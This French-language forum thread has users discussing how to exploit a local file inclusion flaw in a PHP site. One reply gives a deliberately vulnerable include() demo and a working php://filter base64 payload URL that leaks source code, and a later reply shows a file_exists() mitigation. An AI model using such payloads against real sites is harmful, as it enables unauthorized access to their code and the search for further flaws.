Annonce

Réduire
Aucune annonce.

Bypass ajout extension LFI

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Bypass ajout extension LFI

    Bonjour à tous

    Je suis a la recherche depuis plusieurs semaines d'un moyen de bypass l'ajout d'extension automatique sur une faille LFI.
    Concrètement, la page vulnerable est de ce type:
    Code:
    ../index.php?sl=coco
    Ce qui include la page coco.php

    Pour chaque requête l'extension ".php" est ajoutée.
    Cela me pose pas mal de soucis car j'aimerais bien utiliser les "php:filter".

    Ayant déjà essayé le null byte qui n'y change rien malheursement, connaitriez-vous un moyen de bypass cet ajout d'extension?

    Merci d'avance

  • #2
    Salut,

    Comme le php est loin pour moi... Mais c'est intéressant.

    Placer un %00 pour stopper la concaténation ne marche plus depuis php 5 et quelques.

    En revanche, de ce que j'ai compris, "php:filter" est utilisé pour révéler le code php des fichiers présents sur le site. Cf. https://www.idontplaydarts.com/2011/...ile-inclusion/

    Donc sauf filtrage particulier de sl, cela devrait marcher tel quel.

    Sur mon serveur http, ça fonctionne très bien.

    Code PHP:
    <?php

    if (array_key_exists('page'$_GET)) $page $_GET['page'];
    else 
    $page null;

    if (!
    is_null($page)) include($page.".php");
    else echo 
    "Rien à voir";

    ?>
    Code:
    http://localhost/index.php?page=php://filter/convert.base64-encode/resource=index
    PD9waHAKCmlmIChhcnJheV9rZXlfZXhpc3RzKCdwYWdlJywgJF9HRVQpKSAkcGFnZSA9ICRfR0VUWydwYWdlJ107CmVsc2UgJHBh Z2UgPSBudWxsOwoKaWYgKCFpc19udWxsKCRwYWdlKSkgaW5jbHVkZSgkcGFnZS4iLnBocCIpOwplbHNlIGVjaG8gIlJpZW4gw6Ag dm9pciI7Cgo/Pg==
    Après quoi, il y a juste à décoder ce base64 pour avoir le source de index.php.

    Maintenant, ce n'est peut être pas cela que tu veux faire mais disposer du code source de pages du site est un atout considérable pour y trouver des failles.
    Dernière modification par Icarus, 21 janvier 2019, 21h45.

    Commentaire


    • #3
      Salut Icarus
      Merci pour ta reponse.

      Effectivement après réflexion, l'ajout de l'exension n'est pas un soucis dans mon cas.
      En revanche, lorsque j'utilise des php:filter index.php considère l'intégralitée de la chaine de characteres comme le nom du fichier. Ce qui est asse étonnant...

      Je pense que j'ai dû rater quelque chose x)
      Dernière modification par bambish, 22 janvier 2019, 09h11.

      Commentaire


      • #4
        Après, il se peut que le code soit protégé contre ce type de manipulation. C'est très facile de s'en prémunir, que ce soit avec basename() ou un test d'existence du fichier tel que file_exists().

        Le code démo deviendrait :
        Code PHP:
        <?php

        if (array_key_exists('page'$_GET)) $page $_GET['page'];
        else 
        $page null;

        if (!
        is_null($page)) {
            
        $page .= ".php";
            if (
        file_exists($page)) include_once($page);
            else echo 
        "Le fichier ".$page." n'existe pas.";
        } else echo 
        "Rien à voir";

        ?>
        Je n'ai pas trouvé comment désactiver les "php stream wrapper" (php:filter) dans php.ini.

        Commentaire


        • #5
          C'est ce que je voulais savoir, merci

          Commentaire

          Chargement...
          X